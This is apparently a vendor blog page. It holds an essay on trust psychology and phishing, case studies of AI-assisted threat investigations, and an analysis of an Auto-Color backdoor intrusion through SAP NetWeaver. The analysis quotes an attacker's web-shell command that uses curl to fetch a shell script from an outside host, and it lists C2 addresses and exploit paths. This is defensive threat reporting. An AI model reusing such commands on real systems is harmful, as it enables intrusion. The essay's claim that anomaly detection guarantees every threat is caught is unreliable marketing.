Blog
/
Email
/
July 18, 2023

Understanding Email Security & the Psychology of Trust

We explore how psychological research into the nature of trust relates to our relationship with technology - and what that means for AI solutions.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Photo showing woman logging into her laptop with username and passwordDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
18
Jul 2023

When security teams discuss the possibility of phishing attacks targeting their organization, often the first reaction is to assume it is inevitable because of the users. Users are typically referenced in cyber security conversations as organizations’ greatest weaknesses, cited as the causes of many grave cyber-attacks because they click links, open attachments, or allow multi-factor authentication bypass without verifying the purpose.

While for many, the weakness of the user may feel like a fact rather than a theory, there is significant evidence to suggest that users are psychologically incapable of protecting themselves from exploitation by phishing attacks, with or without regular cyber awareness trainings. The psychology of trust and the nature of human reliance on technology make the preparation of users for the exploitation of that trust in technology very difficult – if not impossible.

This Darktrace long read will highlight principles of psychological and sociological research regarding the nature of trust, elements of the trust that relate to technology, and how the human brain is wired to rely on implicit trust. These principles all point to the outcome that humans cannot be relied upon to identify phishing. Email security driven by machine augmentation, such as AI anomaly detection, is the clearest solution to tackle that challenge.

What is the psychology of trust?

Psychological and sociological theories on trust largely centre around the importance of dependence and a two-party system: the trustor and the trustee. Most research has studied the impacts of trust decisions on interpersonal relationships, and the characteristics which make those relationships more or less likely to succeed. In behavioural terms, the elements most frequently referenced in trust decisions are emotional characteristics such as benevolence, integrity, competence, and predictability.1

Most of the behavioural evaluations of trust decisions survey why someone chooses to trust another person, how they made that decision, and how quickly they arrived at their choice. However, these micro-choices about trust require the context that trust is essential to human survival. Trust decisions are rooted in many of the same survival instincts which require the brain to categorize information and determine possible dangers. More broadly, successful trust relationships are essential in maintaining the fabric of human society, critical to every element of human life.

Trust can be compared to dark matter (Rotenberg, 2018), which is the extensive but often difficult to observe material that binds planets and earthly matter. In the same way, trust is an integral but often a silent component of human life, connecting people and enabling social functioning.2

Defining implicit and routine trust

As briefly mentioned earlier, dependence is an essential element of the trusting relationship. Being able to build a routine of trust, based on the maintenance rather than establishment of trust, becomes implicit within everyday life. For example, speaking to a friend about personal issues and life developments is often a subconscious reaction to the events occurring, rather than an explicit choice to trust said friend each time one has new experiences.

Active and passive levels of cognition are important to recognize in decision-making, such as trust choices. Decision-making is often an active cognitive process requiring a lot of resource from the brain. However, many decisions occur passively, especially if they are not new choices e.g. habits or routines. The brain’s focus turns to immediate tasks while relegating habitual choices to subconscious thought processes, passive cognition. Passive cognition leaves the brain open to impacts from inattentional blindness, wherein the individual may be abstractly aware of the choice but it is not the focus of their thought processes or actively acknowledged as a decision. These levels of cognition are mostly referenced as “attention” within the brain’s cognition and processing.3

This idea is essentially a concept of implicit trust, meaning trust which is occurring as background thought processes rather than active decision-making. This implicit trust extends to multiple areas of human life, including interpersonal relationships, but also habitual choice and lifestyle. When combined with the dependence on people and services, this implicit trust creates a haze of cognition where trust is implied and assumed, rather than actively chosen across a myriad of scenarios.

Trust and technology

As researchers at the University of Cambridge highlight in their research into trust and technology, ‘In a fundamental sense, all technology depends on trust.’  The same implicit trust systems which allow us to navigate social interactions by subconsciously choosing to trust, are also true of interactions with technology. The implied trust in technology and services is perhaps most easily explained by a metaphor.

Most people have a favourite brand of soda. People will routinely purchase that soda and drink it without testing it for chemicals or bacteria and without reading reviews to ensure the companies that produce it have not changed their quality standards. This is a helpful, representative example of routine trust, wherein the trust choice is implicit through habitual action and does not mean the person is actively thinking about the ramifications of continuing to use a product and trust it.

The principle of dependence is especially important in trust and technology discussions, because the modern human is entirely reliant on technology and so has no way to avoid trusting it.5   Specifically important in workplace scenarios, employees are given a mandatory set of technologies, from programs to devices and services, which they must interact with on a daily basis. Over time, the same implicit trust that would form between two people forms between the user and the technology. The key difference between interpersonal trust and technological trust is that deception is often much more difficult to identify.

The implicit trust in workplace technology

To provide a bit of workplace-specific context, organizations rely on technology providers for the operation (and often the security) of their devices. The organizations also rely on the employees (users) to use those technologies within the accepted policies and operational guidelines. The employees rely on the organization to determine which products and services are safe or unsafe.

Within this context, implicit trust is occurring at every layer of the organization and its technological holdings, but often the trust choice is only made annually by a small security team rather than continually evaluated. Systems and programs remain in place for years and are used because “that’s the way it’s always been done. Within that context, the exploitation of that trust by threat actors impersonating or compromising those technologies or services is extremely difficult to identify as a human.

For example, many organizations utilize email communications to promote software updates for employees. Typically, it would consist of email prompting employees to update versions from the vendors directly or from public marketplaces, such as App Store on Mac or Microsoft Store for Windows. If that kind of email were to be impersonated, spoofing an update and including a malicious link or attachment, there would be no reason for the employee to question that email, given the explicit trust enforced through habitual use of that service and program.

Inattentional blindness: How the brain ignores change

Users are psychologically predisposed to trust routinely used technologies and services, with most of those trust choices continuing subconsciously. Changes to these technologies would often be subject to inattentional blindness, a psychological phenomenon wherein the brain either overwrites sensory information with what the brain expects to see rather than what is actually perceived.

A great example of inattentional blindness6 is the following experiment, which asks individuals to count the number of times a ball is passed between multiple people. While that is occurring, something else is going on in the background, which, statistically, those tested will not see. The shocking part of this experiment comes after, when the researcher reveals that the event occurring in the background not seen by participants was a person in a gorilla suit moving back and forth between the group. This highlights how significant details can be overlooked by the brain and “overwritten” with other sensory information. When applied to technology, inattentional blindness and implicit trust makes spotting changes in behaviour, or indicators that a trusted technology or service has been compromised, nearly impossible for most humans to detect.

With all this in mind, how can you prepare users to correctly anticipate or identify a violation of that trust when their brains subconsciously make trust decisions and unintentionally ignore cues to suggest a change in behaviour? The short answer is, it’s difficult, if not impossible.

How threats exploit our implicit trust in technology

Most cyber threats are built around the idea of exploiting the implicit trust humans place in technology. Whether it’s techniques like “living off the land”, wherein programs normally associated with expected activities are leveraged to execute an attack, or through more overt psychological manipulation like phishing campaigns or scams, many cyber threats are predicated on the exploitation of human trust, rather than simply avoiding technological safeguards and building backdoors into programs.

In the case of phishing, it is easy to identify the attempts to leverage the trust of users in technology and services. The most common example of this would be spoofing, which is one of the most common tactics observed by Darktrace/Email. Spoofing is mimicking a trusted user or service, and can be accomplished through a variety of mechanisms, be it the creation of a fake domain meant to mirror a trusted link type, or the creation of an email account which appears to be a Human Resources, Internal Technology or Security service.

In the case of a falsified internal service, often dubbed a “Fake Support Spoof”, the user is exploited by following instructions from an accepted organizational authority figure and service provider, whose actions should normally be adhered to. These cases are often difficult to spot when studying the sender’s address or text of the email alone, but are made even more difficult to detect if an account from one of those services is compromised and the sender’s address is legitimate and expected for correspondence. Especially given the context of implicit trust, detecting deception in these cases would be extremely difficult.

How email security solutions can solve the problem of implicit trust

How can an organization prepare for this exploitation? How can it mitigate threats which are designed to exploit implicit trust? The answer is by using email security solutions that leverage behavioural analysis via anomaly detection, rather than traditional email gateways.

Expecting humans to identify the exploitation of their own trust is a high-risk low-reward endeavour, especially when it takes different forms, affects different users or portions of the organization differently, and doesn’t always have obvious red flags to identify it as suspicious. Cue email security using anomaly detection as the key answer to this evolving problem.

Anomaly detection enabled by machine learning and artificial intelligence (AI) removes the inattentional blindness that plagues human users and security teams and enables the identification of departures from the norm, even those designed to mimic expected activity. Using anomaly detection mitigates multiple human cognitive biases which might prevent teams from identifying evolving threats, and also guarantees that all malicious behaviour will be detected. Of course, anomaly detection means that security teams may be alerted to benign anomalous activity, but still guarantees that no threat, no matter how novel or cleverly packaged, won’t be identified and raised to the human security team.

Utilizing machine learning, especially unsupervised machine learning, mimics the benefits of human decision making and enables the identification of patterns and categorization of information without the framing and biases which allow trust to be leveraged and exploited.

For example, say a cleverly written email is sent from an address which appears to be a Microsoft affiliate, suggesting to the user that they need to patch their software due to the discovery of a new vulnerability. The sender’s address appears legitimate and there are news stories circulating on major media providers that a new Microsoft vulnerability is causing organizations a lot of problems. The link, if clicked, forwards the user to a login page to verify their Microsoft credentials before downloading the new version of the software. After logging in, the program is available for download, and only requires a few minutes to install. Whether this email was created by a service like ChatGPT (generative AI) or written by a person, if acted upon it would give the threat actor(s) access to the user’s credential and password as well as activate malware on the device and possibly broader network if the software is downloaded.

If we are relying on users to identify this as unusual, there are a lot of evidence points that enforce their implicit trust in Microsoft services that make them want to comply with the email rather than question it. Comparatively, anomaly detection-driven email security would flag the unusualness of the source, as it would likely not be coming from a Microsoft-owned IP address and the sender would be unusual for the organization, which does not normally receive mail from the sender. The language might indicate solicitation, an attempt to entice the user to act, and the link could be flagged as it contains a hidden redirect or tailored information which the user cannot see, whether it is hidden beneath text like “Click Here” or due to link shortening. All of this information is present and discoverable in the phishing email, but often invisible to human users due to the trust decisions made months or even years ago for known products and services.

AI-driven Email Security: The Way Forward

Email security solutions employing anomaly detection are critical weapons for security teams in the fight to stay ahead of evolving threats and varied kill chains, which are growing more complex year on year. The intertwining nature of technology, coupled with massive social reliance on technology, guarantees that implicit trust will be exploited more and more, giving threat actors a variety of avenues to penetrate an organization. The changing nature of phishing and social engineering made possible by generative AI is just a drop in the ocean of the possible threats organizations face, and most will involve a trusted product or service being leveraged as an access point or attack vector. Anomaly detection and AI-driven email security are the most practical solution for security teams aiming to prevent, detect, and mitigate user and technology targeting using the exploitation of trust.

References

1https://www.kellogg.northwestern.edu/trust-project/videos/waytz-ep-1.aspx

2Rotenberg, K.J. (2018). The Psychology of Trust. Routledge.

3https://www.cognifit.com/gb/attention

4https://www.trusttech.cam.ac.uk/perspectives/technology-humanity-society-democracy/what-trust-technology-conceptual-bases-common

5Tyler, T.R. and Kramer, R.M. (2001). Trust in organizations : frontiers of theory and research. Thousand Oaks U.A.: Sage Publ, pp.39–49.

6https://link.springer.com/article/10.1007/s00426-006-0072-4

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research

More in this series

No items found.

Blog

/

/

August 1, 2025

Darktrace's Cyber AI Analyst in Action: 4 Real-World Investigations into Advanced Threat Actors

Man looking at computer doing work, cybersecurity, AI, AI analystDefault blog imageDefault blog image

From automation to intelligence

There’s a lot of attention around AI in cybersecurity right now, similar to how important automation felt about 15 years ago. But this time, the scale and speed of change feel different.

In the context of cybersecurity investigations, the application of AI can significantly enhance an organization's ability to detect, respond to, and recover from incidents. It enables a more proactive approach to cybersecurity, ensuring a swift and effective response to potential threats.

At Darktrace, we’ve learned that no single AI technique can solve cybersecurity on its own. We employ a multi-layered AI approach, strategically integrating a diverse set of techniques both sequentially and hierarchically. This layered architecture allows us to deliver proactive, adaptive defense tailored to each organization’s unique environment.

Darktrace uses a range of AI techniques to perform in-depth analysis and investigation of anomalies identified by lower-level alerts, in particular automating Levels 1 and 2 of the Security Operations Centre (SOC) team’s workflow. This saves teams time and resources by automating repetitive and time-consuming tasks carried out during investigation workflows. We call this core capability Cyber AI Analyst.

How Darktrace’s Cyber AITM Analyst works

Cyber AI Analyst mimics the way a human carries out a threat investigation: evaluating multiple hypotheses, analyzing logs for involved assets, and correlating findings across multiple domains. It will then generate an alert with full technical details, pulling relevant findings into a single pane of glass to track the entire attack chain.

Learn more about how Cyber AI Analyst accomplishes this here:

This blog will highlight four examples where Darktrace’s agentic AI, Cyber AI Analyst, successfully identified the activity of sophisticated threat actors, including nation state adversaries. The final example will include step-by-step details of the investigations conducted by Cyber AI Analyst.

[related-resource]

Case 1: Cyber AI Analyst vs. ShadowPad Malware: East Asian Advanced Persistent Threat (APT)

In March 2025, Darktrace detailed a lengthy investigation into two separate threads of likely state-linked intrusion activity in a customer network, showcasing Cyber AI Analyst’s ability to identify different activity threads and piece them together.

The first of these threads...

occurred in July 2024 and involved a malicious actor establishing a foothold in the customer’s virtual private network (VPN) environment, likely via the exploitation of an information disclosure vulnerability (CVE-2024-24919) affecting Check Point Security Gateway devices.

Using compromised service account credentials, the actor then moved laterally across the network via RDP and SMB, with files related to the modular backdoor ShadowPad being delivered to targeted internal systems. Targeted systems went on to communicate with a C2 server via both HTTPS connections and DNS tunnelling.

The second thread of activity...

Which occurred several months earlier in October 2024, involved a malicious actor infiltrating the customer's desktop environment via SMB and WMI.

The actor used these compromised desktops to discriminately collect sensitive data from a network share before exfiltrating such data to a web of likely compromised websites.

For each of these threads of activity, Cyber AI Analyst was able to identify and piece together the relevant intrusion steps by hypothesizing, analyzing, and then generating a singular view of the full attack chain.

Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Figure 1: Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.
Figure 2: Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.

These Cyber AI Analyst investigations enabled a quicker understanding of the threat actor’s sequence of events and, in some cases, led to faster containment.

Read the full detailed blog on Darktrace’s ShadowPad investigation here!

Case 2: Cyber AI Analyst vs. Blind Eagle: South American APT

Since 2018, APT-C-36, also known as Blind Eagle, has been observed performing cyber-attacks targeting various sectors across multiple countries in Latin America, with a particular focus on Colombia.

In February 2025, Cyber AI Analyst provided strong coverage of a Blind Eagle intrusion targeting a South America-based public transport provider, identifying and correlating various stages of the attack, including tooling.

Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Figure 3: Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.
Figure 4: Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.

In this campaign, threat actors have been observed using phishing emails to deliver malicious URL links to targeted recipients, similar to the way threat actors have previously been observed exploiting CVE-2024-43451, a vulnerability in Microsoft Windows that allows the disclosure of a user’s NTLMv2 password hash upon minimal interaction with a malicious file [4].

In late February 2025, Darktrace observed activity assessed with medium confidence to be associated with Blind Eagle on the network of a customer in Colombia. Darktrace observed a device on the customer’s network being directed over HTTP to a rare external IP, namely 62[.]60[.]226[.]112, which had never previously been seen in this customer’s environment and was geolocated in Germany.

Read the full Blind Eagle threat story here!

Case 3: Cyber AI Analyst vs. Ransomware Gang

In mid-March 2025, a malicious actor gained access to a customer’s network through their VPN. Using the credential 'tfsservice', the actor conducted network reconnaissance, before leveraging the Zerologon vulnerability and the Directory Replication Service to obtain credentials for the high-privilege accounts, ‘_svc_generic’ and ‘administrator’.

The actor then abused these account credentials to pivot over RDP to internal servers, such as DCs. Targeted systems showed signs of using various tools, including the remote monitoring and management (RMM) tool AnyDesk, the proxy tool SystemBC, the data compression tool WinRAR, and the data transfer tool WinSCP.

The actor finally collected and exfiltrated several gigabytes of data to the cloud storage services, MEGA, Backblaze, and LimeWire, before returning to attempt ransomware detonation.

Figure 5: Cyber AI Analyst detailing its full investigation, linking 34 related Incident Events in a single pane of glass.

Cyber AI Analyst identified, analyzed, and reported on all corners of this attack, resulting in a threat tray made up of 34 Incident Events into a singular view of the attack chain.

Cyber AI Analyst identified activity associated with the following tactics across the MITRE attack chain:

  • Initial Access
  • Persistence
  • Privilege Escalation
  • Credential Access
  • Discovery
  • Lateral Movement
  • Execution
  • Command and Control
  • Exfiltration

Case 4: Cyber AI Analyst vs Ransomhub

Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.
Figure 6: Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.

A malicious actor appeared to have entered the customer’s network their VPN, using a likely attacker-controlled device named 'DESKTOP-QIDRDSI'. The actor then pivoted to other systems via RDP and distributed payloads over SMB.

Some systems targeted by the attacker went on to exfiltrate data to the likely ReliableSite Bare Metal server, 104.194.10[.]170, via HTTP POSTs over port 5000. Others executed RansomHub ransomware, as evidenced by their SMB-based distribution of ransom notes named 'README_b2a830.txt' and their addition of the extension '.b2a830' to the names of files in network shares.

Through its live investigation of this attack, Cyber AI Analyst created and reported on 38 Incident Events that formed part of a single, wider incident, providing a full picture of the threat actor’s behavior and tactics, techniques, and procedures (TTPs). It identified activity associated with the following tactics across the MITRE attack chain:

  • Execution
  • Discovery
  • Lateral Movement
  • Collection
  • Command and Control
  • Exfiltration
  • Impact (i.e., encryption)
Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 7: Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 8: Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
 Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace. Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 9: Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 10: Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 11: Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.

Conclusion

Security teams are challenged to keep up with a rapidly evolving cyber-threat landscape, now powered by AI in the hands of attackers, alongside the growing scope and complexity of digital infrastructure across the enterprise.

Traditional security methods, even those that use some simple machine learning, are no longer sufficient, as these tools cannot keep pace with all possible attack vectors or respond quickly enough machine-speed attacks, given their complexity compared to known and expected patterns. Security teams require a step up in their detection capabilities, leveraging machine learning to understand the environment, filter out the noise, and take action where threats are identified. This is where Cyber AI Analyst steps in to help.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Security Researcher), Emma Foulger (Global Threat Research Operations Lead), and Ryan Traill (Analyst Content Lead)

[related-resource]

Continue reading
About the author

Blog

/

Network

/

July 30, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

Default blog imageDefault blog image

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

